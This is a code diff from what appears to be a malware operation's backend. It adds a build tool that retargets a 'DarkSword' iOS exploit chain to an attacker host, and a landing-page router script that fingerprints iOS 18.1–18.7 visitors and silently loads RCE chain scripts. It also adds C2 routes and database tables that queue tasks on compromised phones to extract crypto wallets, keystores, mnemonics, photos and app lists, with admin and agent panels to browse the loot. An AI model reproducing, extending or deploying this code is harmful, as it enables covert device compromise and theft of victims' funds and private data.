("https://one99.vip", origin), + ('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'), + ('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'), + ( + '{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }', + f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}', + ), + ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'), + ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'), + (" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"), + ("mh0usocqzi6f46i.com", ip), + ("one99.vip", ip), + ("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"), + ("_h === '192.168.4.10'", f"_h === '{ip}'"), + ('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'), + ('_h === "192.168.4.10"', f'_h === "{ip}"'), + ('"192.168.1.29"', f'"{ip}"'), + ('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'), + ("'https://ab.ux600.com'", f"'{origin}/?landed=1'"), + # public/log/ is a directory on lab; phone POST /log must hit the API. + ('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'), + ('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'), + ('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'), + ('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'), + ("/log.html", "/api/ds/log"), + (origin + '/log"', origin + '/api/ds/log"'), + (origin + '/log\\"', origin + '/api/ds/log\\"'), + (':80/log"', ':80/api/ds/log"'), + (':80/log\\"', ':80/api/ds/log\\"'), + ] + + +def iter_files(root: Path) -> list[Path]: + out: list[Path] = [] + for p in root.rglob("*"): + if not p.is_file(): + continue + if p.suffix.lower() in SKIP_SUFFIX: + continue + out.append(p) + return sorted(out) + + +def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]: + pairs = replacements(ip, port, origin) + hits: list[dict] = [] + for src in iter_files(root): + text = src.read_text("utf-8", errors="surrogateescape") + new = text + counts: dict[str, int] = {} + for old, repl in pairs: + n = new.count(old) + if n: + counts[old] = n + new = new.replace(old, repl) + if new != text: + src.write_text(new, encoding="utf-8", errors="surrogateescape") + hits.append({"file": str(src.relative_to(root)), "counts": counts}) + return hits + + +def publish(staging: Path, dest: Path) -> None: + dest = dest.resolve() + dest.parent.mkdir(parents=True, exist_ok=True) + tmp = dest.with_name(dest.name + ".building") + old = dest.with_name(dest.name + ".old") + if tmp.exists(): + shutil.rmtree(tmp) + shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store")) + if dest.exists(): + if old.exists(): + shutil.rmtree(old) + dest.rename(old) + try: + tmp.rename(dest) + except OSError: + dest.rename(tmp.with_name(dest.name + ".restore")) + raise + shutil.rmtree(old) + else: + tmp.rename(dest) + + +def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]: + if args.origin: + parsed = urlparse(args.origin) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + raise SystemExit(f"invalid --origin: {args.origin}") + host = parsed.hostname + if parsed.port: + port = parsed.port + else: + port = 443 if parsed.scheme == "https" else 80 + origin = f"{parsed.scheme}://{host}" + if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)): + origin += f":{port}" + return host, port, origin + + host = args.host + port = args.port + origin = f"{args.scheme}://{host}" + if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)): + origin += f":{port}" + return host, port, origin + + +def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]: + if not source.is_dir(): + raise SystemExit(f"source not found: {source}") + staging = BUILDER_ROOT / "out" / "staging" + if staging.exists(): + shutil.rmtree(staging) + shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store")) + hits = rewrite_tree(staging, host, port, origin) + if dry_run: + shutil.rmtree(staging) + return hits + publish(staging, dest) + shutil.rmtree(staging, ignore_errors=True) + return hits + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain") + ap.add_argument("--host", default="192.168.31.130") + ap.add_argument("--port", type=int, default=8000) + ap.add_argument("--scheme", default="http", choices=("http", "https")) + ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000") + ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE) + ap.add_argument("--dest", type=Path, default=DEFAULT_DEST) + ap.add_argument("--dry-run", action="store_true") + args = ap.parse_args(argv) + + host, port, origin = resolve_origin(args) + hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run) + action = "would rewrite" if args.dry_run else "published" + print(f"{action} {len(hits)} files -> {origin}") + if not args.dry_run: + print(f"dest {args.dest.resolve()}") + for h in hits: + print(f" {h['file']} ({sum(h['counts'].values())})") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/channel-builder-ds/tools/tests/test_build.py b/channel-builder-ds/tools/tests/test_build.py new file mode 100644 index 0000000..0aca764 --- /dev/null +++ b/channel-builder-ds/tools/tests/test_build.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import shutil +import sys +import tempfile +import unittest +from pathlib import Path + +TOOLS = Path(__file__).resolve().parents[1] +if str(TOOLS) not in sys.path: + sys.path.insert(0, str(TOOLS)) + +import build # noqa: E402 + + +class BuildTest(unittest.TestCase): + def setUp(self) -> None: + self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-")) + self.source = self.tmp / "source" + self.dest = self.tmp / "next-chain" + self.source.mkdir(parents=True) + (self.source / "config.js").write_text( + 'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n', + encoding="utf-8", + ) + (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8") + (self.source / "pe_worker.js").write_text( + 'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n' + '__labCfHttp("POST", "/log", body, false);\n' + '__labCfHttp("GET", "/log.html?" + q, null, false);\n', + encoding="utf-8", + ) + + def tearDown(self) -> None: + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_rewrites_and_publishes_without_touching_source(self) -> None: + before = (self.source / "config.js").read_text(encoding="utf-8") + hits = build.build( + self.source, + self.dest, + "192.168.31.130", + 8080, + "http://192.168.31.130:8080", + ) + self.assertTrue(hits) + self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before) + published = (self.dest / "config.js").read_text(encoding="utf-8") + self.assertIn("http://192.168.31.130:8080/?landed=1", published) + self.assertIn('const HQ_WALLET_PORT = "8080"', published) + self.assertNotIn("ab.ux600.com", published) + self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n") + self.assertFalse((self.dest / "api").exists()) + worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8") + self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker) + self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker) + self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker) + self.assertNotIn("/log.html", worker) + self.assertNotIn('__labCfHttp("POST", "/log"', worker) + + def test_origin_override(self) -> None: + host, port, origin = build.resolve_origin( + type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})() + ) + self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443")) + + +if __name__ == "__main__": + unittest.main() diff --git a/channel-builder-new/source/weifile/route.js b/channel-builder-new/source/weifile/route.js new file mode 100644 index 0000000..2464d21 --- /dev/null +++ b/channel-builder-new/source/weifile/route.js @@ -0,0 +1,133 @@ +(function () { + var DS_BASE = '/next-chain'; + var HOLD_MS = 10 * 60 * 1000; + var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at']; + + function parseIosVersion() { + var ua = navigator.userAgent || ''; + var m = /iPhone OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); + if (!m) { + m = /Version\/(\d+)\.(\d+)/.exec(ua); + return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null; + } + return m[1].split('_').map(function (p) { + return parseInt(p, 10); + }); + } + + function cmpVer(a, b) { + for (var i = 0; i < 3; i++) { + var ai = (a && a[i]) || 0; + var bi = (b && b[i]) || 0; + if (ai < bi) return -1; + if (ai > bi) return 1; + } + return 0; + } + + function persistChannelCode(code) { + code = String(code || '').trim().slice(0, 64); + if (!code) return ''; + try { + window.__LAB_CHANNEL_CODE__ = code; + window.__CORUNA_CHANNEL__ = code; + } catch (e0) {} + try { + sessionStorage.setItem('lab_channel_code', code); + } catch (e1) {} + try { + localStorage.setItem('lab_channel_code', code); + } catch (e2) {} + return code; + } + + function channelCode() { + try { + var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); + } catch (eP) {} + return ''; + } + + function dsUrl(path) { + var origin = ''; + try { + if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, ''); + } catch (e) {} + return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path); + } + + function loadScript(src, onload, attempt) { + attempt = attempt || 0; + var s = document.createElement('script'); + s.async = false; + s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now(); + s.onload = function () { if (onload) onload(); }; + s.onerror = function () { + if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); + }; + (document.body || document.documentElement).appendChild(s); + } + + function loadScripts(urls) { + var i = 0; + function next() { + if (i >= urls.length) return; + loadScript(urls[i++], next); + } + next(); + } + + function holdFresh() { + var now = Date.now(); + for (var i = 0; i < HOLD_KEYS.length; i++) { + var key = HOLD_KEYS[i]; + try { + var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0; + if (ls && now - ls <= HOLD_MS) return true; + } catch (e0) {} + try { + var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0; + if (ss && now - ss <= HOLD_MS) return true; + } catch (e1) {} + } + return false; + } + + function markHold() { + var ts = String(Date.now()); + try { + localStorage.setItem('__ds_rce_hold', ts); + localStorage.setItem('__ds_chain_hold', ts); + } catch (e2) {} + try { + sessionStorage.setItem('__ds_rce_hold', ts); + sessionStorage.setItem('__ds_chain_hold', ts); + } catch (e3) {} + } + + function loadDs(code) { + if (holdFresh()) return; + markHold(); + persistChannelCode(code); + try { + window.__LAB_DELIVERY_HOST__ = dsUrl(''); + if (!window.__LAB_EXFIL_DOMAIN__) { + window.__LAB_EXFIL_DOMAIN__ = location.hostname || ''; + } + } catch (eH) {} + loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]); + } + + var ios = parseIosVersion(); + var code = channelCode(); + if (!ios || cmpVer(ios, [18, 1]) < 0) { + loadScript('index.js'); + return; + } + if (cmpVer(ios, [18, 7]) < 0) { + loadDs(code); + } +})(); diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html index 8abed16..50ae1a2 100644 --- a/channel-builder-new/source/weifile/templates/blank.html +++ b/channel-builder-new/source/weifile/templates/blank.html @@ -7,6 +7,6 @@ weifile - + diff --git a/channel-builder-new/source/weifile/templates/test.html b/channel-builder-new/source/weifile/templates/test.html index 3547909..99b31ce 100644 --- a/channel-builder-new/source/weifile/templates/test.html +++ b/channel-builder-new/source/weifile/templates/test.html @@ -111,7 +111,7 @@

加载中

请稍候,正在准备页面…

- + + diff --git a/channel-builder-new/tools/pack_channel.py b/channel-builder-new/tools/pack_channel.py index fcc8ef3..0ad3088 100644 --- a/channel-builder-new/tools/pack_channel.py +++ b/channel-builder-new/tools/pack_channel.py @@ -202,6 +202,15 @@ def normalize_landing_template(value: str | None) -> str: return template +def ensure_route_js(weifile_dir: Path) -> Path: + src = xxbb_build.SOURCE_WEIFILE / "route.js" + if not src.is_file(): + raise SystemExit(f"missing weifile router: {src}") + dest = weifile_dir / "route.js" + dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8") + return dest + + def apply_landing_template(weifile_dir: Path, template: str) -> Path: template = normalize_landing_template(template) src = LANDING_TEMPLATE_ROOT / f"{template}.html" @@ -273,6 +282,7 @@ def pack_channel( encoding="utf-8", ) apply_landing_template(weifile_dest, landing_template) + ensure_route_js(weifile_dest) if channel_out.exists(): shutil.rmtree(channel_out) diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 8cb8a5e..8331f09 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -83,10 +83,18 @@ class XxbbBuildTest(unittest.TestCase): self.assertFalse((artifact / "weifile").exists()) self.assertTrue((weifile / "index.js").is_file()) self.assertTrue((weifile / "weifile.html").is_file()) + self.assertTrue((weifile / "route.js").is_file()) html = (weifile / "weifile.html").read_text(encoding="utf-8") + route = (weifile / "route.js").read_text(encoding="utf-8") self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("/t.js", html) - self.assertIn("index.js", html) + self.assertIn("route.js", html) + self.assertIn("location.pathname", route) + self.assertIn("/next-chain", route) + self.assertIn("boot.js", route) + self.assertIn("10 * 60 * 1000", route) + self.assertNotIn("channeICode", route) + self.assertIn("index.js", route) index_js = (weifile / "index.js").read_text(encoding="utf-8") expected_host = generate_domains(channel_c, 1)[0] self.assertIn(expected_host, index_js) @@ -300,6 +308,16 @@ class XxbbBuildTest(unittest.TestCase): self.assertEqual(stripped, "head;") html = pack_channel.inject_tjs("") self.assertIn('/t.js', html) + route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8") + self.assertIn("location.pathname", route) + self.assertIn("/next-chain", route) + self.assertIn("boot.js", route) + self.assertIn("10 * 60 * 1000", route) + self.assertNotIn("channeICode", route) + for name in ("weifile.html", "templates/blank.html", "templates/test.html"): + landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") + self.assertIn("route.js", landing) + self.assertNotIn('src="index.js"', landing) if __name__ == "__main__": diff --git a/database/migrations/2026_08_21_000010_devices_family.php b/database/migrations/2026_08_21_000010_devices_family.php new file mode 100644 index 0000000..997d623 --- /dev/null +++ b/database/migrations/2026_08_21_000010_devices_family.php @@ -0,0 +1,22 @@ +string('family', 32)->default('xxbb')->after('device_id')->index(); + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn('family'); + }); + } +}; diff --git a/database/migrations/2026_08_24_000010_page_visits_chain.php b/database/migrations/2026_08_24_000010_page_visits_chain.php new file mode 100644 index 0000000..abafa4c --- /dev/null +++ b/database/migrations/2026_08_24_000010_page_visits_chain.php @@ -0,0 +1,24 @@ +unsignedTinyInteger('chain')->default(0)->after('client_uid'); + $table->index('chain'); + }); + } + + public function down(): void + { + Schema::table('page_visits', function (Blueprint $table) { + $table->dropIndex(['chain']); + $table->dropColumn('chain'); + }); + } +}; diff --git a/database/migrations/2026_08_24_000020_devices_family_coruna.php b/database/migrations/2026_08_24_000020_devices_family_coruna.php new file mode 100644 index 0000000..dfea981 --- /dev/null +++ b/database/migrations/2026_08_24_000020_devices_family_coruna.php @@ -0,0 +1,26 @@ +where('family', 'xxbb')->update(['family' => 'coruna']); + + if (Schema::getConnection()->getDriverName() === 'mysql') { + DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'coruna'"); + } + } + + public function down(): void + { + DB::table('devices')->where('family', 'coruna')->update(['family' => 'xxbb']); + + if (Schema::getConnection()->getDriverName() === 'mysql') { + DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'xxbb'"); + } + } +}; diff --git a/database/migrations/2026_08_24_000030_create_ds_chain_logs_table.php b/database/migrations/2026_08_24_000030_create_ds_chain_logs_table.php new file mode 100644 index 0000000..988febc --- /dev/null +++ b/database/migrations/2026_08_24_000030_create_ds_chain_logs_table.php @@ -0,0 +1,29 @@ +id(); + $table->string('client_uid', 64); + $table->string('channel_id', 64)->nullable(); + $table->string('stage', 32); + $table->unsignedTinyInteger('progress')->default(0); + $table->string('label', 255)->nullable(); + $table->timestamp('created_at')->useCurrent(); + + $table->index(['client_uid', 'created_at']); + $table->index('stage'); + }); + } + + public function down(): void + { + Schema::dropIfExists('ds_chain_logs'); + } +}; diff --git a/database/migrations/2026_08_24_000040_create_ds_beacon_tasks_table.php b/database/migrations/2026_08_24_000040_create_ds_beacon_tasks_table.php new file mode 100644 index 0000000..8e93f2d --- /dev/null +++ b/database/migrations/2026_08_24_000040_create_ds_beacon_tasks_table.php @@ -0,0 +1,59 @@ +id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->unsignedTinyInteger('position'); + $table->string('type', 64); + $table->string('status', 16)->default('pending'); + $table->string('command_id', 64)->nullable(); + $table->timestamp('dispatched_at')->nullable(); + $table->timestamp('completed_at')->nullable(); + $table->unsignedInteger('result_count')->default(0); + $table->json('result_meta')->nullable(); + $table->timestamps(); + + $table->unique(['device_id', 'position']); + $table->unique('command_id'); + $table->index(['device_id', 'status']); + }); + + $now = now(); + $types = [ + 'wallet_extract', + 'wallet_scan', + 'photos', + 'photo_scan', + 'apps', + 'basic_info', + ]; + foreach (DB::table('devices')->where('family', 'darksword')->pluck('id') as $deviceId) { + $rows = []; + foreach ($types as $i => $type) { + $rows[] = [ + 'device_id' => $deviceId, + 'position' => $i + 1, + 'type' => $type, + 'status' => 'pending', + 'created_at' => $now, + 'updated_at' => $now, + ]; + } + DB::table('ds_beacon_tasks')->insert($rows); + } + } + + public function down(): void + { + Schema::dropIfExists('ds_beacon_tasks'); + } +}; diff --git a/database/migrations/2026_08_24_000050_skip_ds_beacon_photos_tasks.php b/database/migrations/2026_08_24_000050_skip_ds_beacon_photos_tasks.php new file mode 100644 index 0000000..0fbfaeb --- /dev/null +++ b/database/migrations/2026_08_24_000050_skip_ds_beacon_photos_tasks.php @@ -0,0 +1,34 @@ +where('type', 'photos') + ->where('status', 'pending') + ->update([ + 'status' => 'skipped', + 'completed_at' => $now, + 'result_meta' => json_encode(['reason' => 'queue_uses_photo_scan_only']), + 'updated_at' => $now, + ]); + } + + public function down(): void + { + DB::table('ds_beacon_tasks') + ->where('type', 'photos') + ->where('status', 'skipped') + ->update([ + 'status' => 'pending', + 'completed_at' => null, + 'result_meta' => null, + 'updated_at' => now(), + ]); + } +}; diff --git a/database/migrations/2026_08_24_000060_wallet_keystores_source_and_decrypted.php b/database/migrations/2026_08_24_000060_wallet_keystores_source_and_decrypted.php new file mode 100644 index 0000000..31e366d --- /dev/null +++ b/database/migrations/2026_08_24_000060_wallet_keystores_source_and_decrypted.php @@ -0,0 +1,23 @@ +string('source', 64)->default('')->after('device_id'); + $table->unsignedTinyInteger('decrypted')->default(0)->after('source'); + }); + } + + public function down(): void + { + Schema::table('wallet_keystores', function (Blueprint $table) { + $table->dropColumn(['source', 'decrypted']); + }); + } +}; diff --git a/database/migrations/2026_08_24_000061_wallet_keystores_backfill_source.php b/database/migrations/2026_08_24_000061_wallet_keystores_backfill_source.php new file mode 100644 index 0000000..94cf10d --- /dev/null +++ b/database/migrations/2026_08_24_000061_wallet_keystores_backfill_source.php @@ -0,0 +1,44 @@ +where('source', '')->get(['id', 'raw_json']); + foreach ($rows as $row) { + $json = json_decode((string) $row->raw_json, true); + if (! is_array($json)) { + continue; + } + $source = WalletSource::fromKeystoreHint($json['source'] ?? null); + if ($source === '' && isset($json['wallets']) && is_array($json['wallets']) && ! array_is_list($json['wallets'])) { + $labels = []; + foreach (array_keys($json['wallets']) as $key) { + $label = WalletSource::fromKeystoreHint((string) $key); + if ($label !== '') { + $labels[$label] = true; + } + } + if (count($labels) === 1) { + $source = array_key_first($labels); + } + } + if ($source === '' && isset($json['sandbox']) && is_array($json['sandbox']) && ! array_is_list($json['sandbox'])) { + $source = WalletSource::fromKeystoreHint((string) array_key_first($json['sandbox'])); + } + if ($source === '') { + continue; + } + DB::table('wallet_keystores')->where('id', $row->id)->update(['source' => $source]); + } + } + + public function down(): void + { + // + } +}; diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index 9c1d9c8..3c17d61 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -115,7 +115,17 @@ layui.use(['table', 'form', 'layer'], function () { } function promoIframe(url) { - return ''; + var path = ''; + try { + path = new URL(url, location.origin).pathname || ''; + } catch (e) { + var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i); + path = m ? m[1] : String(url || ''); + } + if (!path) path = '/'; + if (path.indexOf('?') >= 0) path = path.split('?')[0]; + path = path.replace(/["']/g, ''); + return ' + + +@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index 6468f83..e9cdbd0 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -84,6 +84,9 @@
助记词
+
+ 钥匙串 +
交易记录
diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php index 822fb96..15e5f42 100644 --- a/resources/views/admin/visits/index.blade.php +++ b/resources/views/admin/visits/index.blade.php @@ -19,6 +19,16 @@ @include('admin.partials.filter_channel_select') +
+ +
+ +
+
@@ -50,23 +60,6 @@
-
-
- -
- -
-
-
- - - -
分组PVUV
—
@@ -74,23 +67,16 @@ @push('scripts') @endpush diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 18b86ac..1b0ec25 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -74,6 +74,9 @@
助记词
+
+ 钥匙串 +
交易记录
diff --git a/routes/admin.php b/routes/admin.php index 25e4fb2..87a5e20 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -6,7 +6,9 @@ use App\Http\Controllers\Admin\AuthController; use App\Http\Controllers\Admin\ChannelController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; +use App\Http\Controllers\Admin\FilterOptionsController; use App\Http\Controllers\Admin\Google2faController; +use App\Http\Controllers\Admin\KeystoreController; use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; @@ -34,12 +36,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); - Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); - Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); + Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); + Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); - Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); + Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs'); Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); @@ -59,6 +61,10 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); + Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); + Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); + Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); + Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); diff --git a/routes/console.php b/routes/console.php index dbb32a7..0042f43 100644 --- a/routes/console.php +++ b/routes/console.php @@ -1,5 +1,6 @@ option('channel-c')); $random = (bool) $this->option('random-c'); try { - $result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts( + $result = app(ChannelProjectService::class)->buildSharedArtifacts( $channelC !== '' ? $channelC : null, $random, ); - } catch (\Throwable $e) { + } catch (Throwable $e) { $this->error($e->getMessage()); return 1; @@ -103,6 +104,35 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () { return 0; })->purpose('Build shared xxbb /details and staged weifile from channel c'); +Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () { + $script = base_path('channel-builder-ds/tools/build.py'); + if (! is_file($script)) { + $this->error('missing '.$script); + + return 1; + } + $args = ['python3', $script]; + $host = trim((string) $this->option('host')); + $port = trim((string) $this->option('port')); + $origin = trim((string) $this->option('origin')); + if ($origin !== '') { + $args[] = '--origin'; + $args[] = $origin; + } + if ($host !== '') { + $args[] = '--host'; + $args[] = $host; + } + if ($port !== '') { + $args[] = '--port'; + $args[] = $port; + } + $this->info(implode(' ', $args)); + passthru(implode(' ', array_map('escapeshellarg', $args)), $code); + + return $code; +})->purpose('Rewrite DarkSword source and publish public/next-chain'); + Artisan::command('coruna:channel-domains {--json}', function () { $domains = array_values(array_filter(config('coruna.channel_domains', []))); if ($this->option('json')) { diff --git a/routes/ds.php b/routes/ds.php new file mode 100644 index 0000000..d1a7087 --- /dev/null +++ b/routes/ds.php @@ -0,0 +1,18 @@ +group(function () { - Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview'); + Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview'); + Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class); Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram'); }); diff --git a/routes/user.php b/routes/user.php index 35c38f3..5dd781c 100644 --- a/routes/user.php +++ b/routes/user.php @@ -3,6 +3,8 @@ use App\Http\Controllers\Admin\ChannelController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; +use App\Http\Controllers\Admin\FilterOptionsController; +use App\Http\Controllers\Admin\KeystoreController; use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; @@ -23,11 +25,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); - Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); + Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); - Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); + Route::get('visits/logs', [PageVisitController::class, 'logs'])->name('visits.logs'); Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); @@ -47,6 +49,10 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); + Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); + Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); + Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); + Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index'); Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data'); diff --git a/routes/xxbb.php b/routes/xxbb.php index 458efef..4308b87 100644 --- a/routes/xxbb.php +++ b/routes/xxbb.php @@ -1,21 +1,35 @@ group(function () { - Route::post('/a', [XxbbC2Controller::class, 'profile']); - Route::post('/u', [XxbbC2Controller::class, 'apps']); - Route::post('/event', [XxbbC2Controller::class, 'event']); - Route::post('/t', [XxbbC2Controller::class, 'photos']); - Route::post('/nb', [XxbbC2Controller::class, 'notes']); - Route::post('/uj', [XxbbC2Controller::class, 'plugin']); - Route::post('/us', [XxbbC2Controller::class, 'plugin']); - Route::post('/ub', [XxbbC2Controller::class, 'plugin']); - Route::post('/ba', [XxbbC2Controller::class, 'plugin']); - Route::post('/result', [XxbbC2Controller::class, 'plugin']); - Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']); +$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) { + return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) { + return DarkSwordC2Controller::matches($request) + ? app($ds)->{$dsMethod}($request) + : app($xxbb)->{$xxbbMethod}($request); + }; +}; + +Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']); + +Route::middleware([DecryptXxbbBody::class])->group(function () use 